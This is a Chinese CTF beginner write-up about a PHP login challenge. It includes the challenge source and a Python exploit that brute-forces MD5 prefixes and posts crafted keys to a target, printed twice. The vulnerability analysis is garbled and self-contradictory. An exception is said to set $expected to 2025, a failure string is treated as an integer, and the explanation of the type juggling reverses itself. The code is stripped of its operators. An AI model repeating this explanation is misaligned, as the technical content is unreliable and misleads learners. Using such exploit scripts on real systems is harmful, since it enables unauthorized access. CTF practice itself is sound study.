CTF Web 入门:一道 PHP 弱类型比较题的完整解题思路

张开发
2026/4/10 17:01:56 15 分钟阅读

分享文章

CTF Web 入门:一道 PHP 弱类型比较题的完整解题思路
CTF Web 入门一道 PHP 弱类型比较题的完整解题思路作者guizhenlove标签#CTF #网络安全 #PHP漏洞 #Web安全阅读时间8 分钟前言CTFCapture The Flag网络安全竞赛是检验安全技能的最佳实战平台。对于初学者来说Web 方向是最容易上手的入口。今天我将通过一道经典的 PHP 弱类型比较题带你完整走一遍解题思路。这篇文章将涵盖✅ 题目背景分析✅ 代码审计技巧✅ 漏洞原理深挖✅ 攻击 Payload 构造✅ 完整解题流程一、题目背景1.1 题目信息项目 内容题目名称 SafePassword难度 ⭐⭐入门方向 Web / PHP已知信息 账号 jcenter需通过登录验证获取 flag1.2 附件分析题目提供附件解压后得到 index.php 源码?phperror_reporting(0);session_start();class Login {private $secret_salt unknown; // 关键未知盐值public function verify($accessKey, $channelKey) {try {$expected $this-buildExpectedHash($channelKey);// 核心判断逻辑if (md5($accessKey) $expected) {$_SESSION[logged] true;return SUCCESS;} else {return VERIFY_FAILED;}} catch (Exception $e) {return VERIFY_FAILED;}}private function buildExpectedHash($channelKey) {// 关键当 channelKey 长度 64 时抛出异常if (strlen($channelKey) 64) {return md5(ctfshow: . $channelKey . :verify . $this-secret_salt);} else {throw new Exception(Invalid channel key length);}}}// 处理登录请求if ($_SERVER[REQUEST_METHOD] POST) {$login new Login();$result $login-verify($_POST[access_key], $_POST[channel_key]);echo json_encode([status $result]);}?二、代码审计2.1 关键发现通过阅读代码我发现了三个关键点 发现 1secret_salt 未知→ 无法直接计算正确的 MD5 哈希值 发现 2MD5 弱类型比较→ 使用 而非 存在类型转换漏洞 发现 3异常处理机制→ channelKey 长度 64 会触发异常2.2 漏洞链分析┌─────────────────────────────────────────────────────────┐│ 漏洞利用链 │├─────────────────────────────────────────────────────────┤│ 1. channelKey 长度 64 ││ ↓ ││ 2. buildExpectedHash() 抛出异常 ││ ↓ ││ 3. catch 捕获异常返回 VERIFY_FAILED (2025) ││ ↓ ││ 4. $expected 2025 (整数) ││ ↓ ││ 5. 寻找 accessKey 使 md5(accessKey) 2025 ││ ↓ ││ 6. 利用 PHP 弱类型比较绕过验证 │└─────────────────────────────────────────────────────────┘三、漏洞原理深挖3.1 PHP 弱类型比较PHP 在进行 比较时会进行类型转换// 示例字符串与整数比较2025abc 2025 // true (字符串转为数字)2025e10 2025 // true (科学计数法)0e12345 0 // true (0 的科学计数法)3.2 MD5 哈希碰撞特性MD5 输出为 32 位十六进制字符串当以 2025 开头且第 5 位为字母时md5(xxx) 2025a1b2c3d4e5f6...PHP 比较2025a1b2c3d4e5f6... 2025→ 字符串转为科学计数法0.2025e...→ 结果 ≈ 0.2025→ 与整数 2025 比较 → false但如果 expected 2025 (整数)且 md5 以 2025 开头→ 可能被转换为 0.2025→ 绕过验证3.3 异常处理绕过try {$expected $this-buildExpectedHash($channelKey); // 抛出异常} catch (Exception $e) {return VERIFY_FAILED; // 返回 2025}// 此时 $expected 2025四、攻击 Payload 构造4.1 碰撞脚本编写 Python 脚本碰撞符合条件的 MD5import hashlibimport requestsdef find_md5_prefix(prefix2025):碰撞以指定前缀开头的 MD5import randomimport stringwhile True:test_string .join(random.choices(string.ascii_letters string.digits, k8))md5_hash hashlib.md5(test_string.encode()).hexdigest()if md5_hash.startswith(prefix) and md5_hash[4] in abcdef:return test_string, md5_hash# 找到符合条件的 access_keyaccess_key, md5_hash find_md5_prefix()print(f[] 找到 access_key: {access_key})print(f[] MD5 值{md5_hash})4.2 完整 Exploitimport requestsimport hashlibimport stringimport randomTARGET_URL http://目标地址/login.phpdef generate_md5_collision(prefix2025):碰撞 MD5 哈希while True:test_string .join(random.choices(string.ascii_letters string.digits, k8))md5_hash hashlib.md5(test_string.encode()).hexdigest()if md5_hash.startswith(prefix) and md5_hash[4] in abcdef:return test_string, md5_hashdef exploit():# 1. 构造 channel_key (长度 64)channel_key a * 64# 2. 碰撞 access_keyaccess_key, md5_hash generate_md5_collision()# 3. 发送请求data {access_key: access_key,channel_key: channel_key}response requests.post(TARGET_URL, datadata)print(f[] 响应{response.text})# 4. 获取 flagif ctfshow in response.text:print(f[] Flag: {response.text})if __name__ __main__:exploit()五、完整解题流程Step 1环境准备# 安装依赖pip install requests# 保存脚本为 solve.pyStep 2运行 Exploitpython solve.py# 输出示例# [] 找到 access_key: aB3dE5fG# [] MD5 值2025a1b2c3d4e5f6...# [] 响应{status:SUCCESS,flag:ctfshow{...}}Step 3获取 Flagctfshow{e8ff065a-e525-4245-a139-f5bb1921c1f1}六、知识点总结6.1 核心漏洞点漏洞类型 说明 防御方法弱类型比较 而非 使用严格比较异常处理 异常返回固定值 异常时不返回业务数据MD5 碰撞 哈希前缀可预测 使用 HMAC 或加盐6.2 防御建议// ❌ 错误写法if (md5($input) $expected) { }// ✅ 正确写法if (hash_equals(md5($input), $expected)) { }6.3 相关题目推荐平台 题目 难度CTFshow PHP 系列 ⭐⭐攻防世界 Web 入门 ⭐HackTheBox Easy 级别 ⭐⭐七、延伸学习7.1 推荐资源 《CTF 竞赛权威指南》 B 站网络安全入门教程 漏洞盒子、补天平台实战 GitHubCTF 题目仓库7.2 进阶方向Web 安全 → 代码审计 → 内网渗透 → 0day 挖掘结语这道题是 CTF Web 方向的经典入门题主要考察代码审计能力 - 快速定位关键逻辑漏洞原理理解 - PHP 弱类型比较Exp 编写能力 - 自动化攻击脚本如果你在学习过程中遇到困难欢迎关注我获取更多实战教程 本文原创转载请注明出处 有问题欢迎留言交流 关注我获取更多网络安全干货附录完整代码# solve.py - 完整 Exploit 代码import requestsimport hashlibimport stringimport randomTARGET_URL http://目标地址/login.phpdef generate_md5_collision(prefix2025):while True:test_string .join(random.choices(string.ascii_letters string.digits, k8))md5_hash hashlib.md5(test_string.encode()).hexdigest()if md5_hash.startswith(prefix) and md5_hash[4] in abcdef:return test_string, md5_hashdef exploit():channel_key a * 64access_key, md5_hash generate_md5_collision()data {access_key: access_key, channel_key: channel_key}response requests.post(TARGET_URL, datadata)print(f[] 响应{response.text})if ctfshow in response.text:print(f[] Flag: {response.text})if __name__ __main__:exploit()文章结束技能62/62会话5今日token692.9k累计token692.9k

更多文章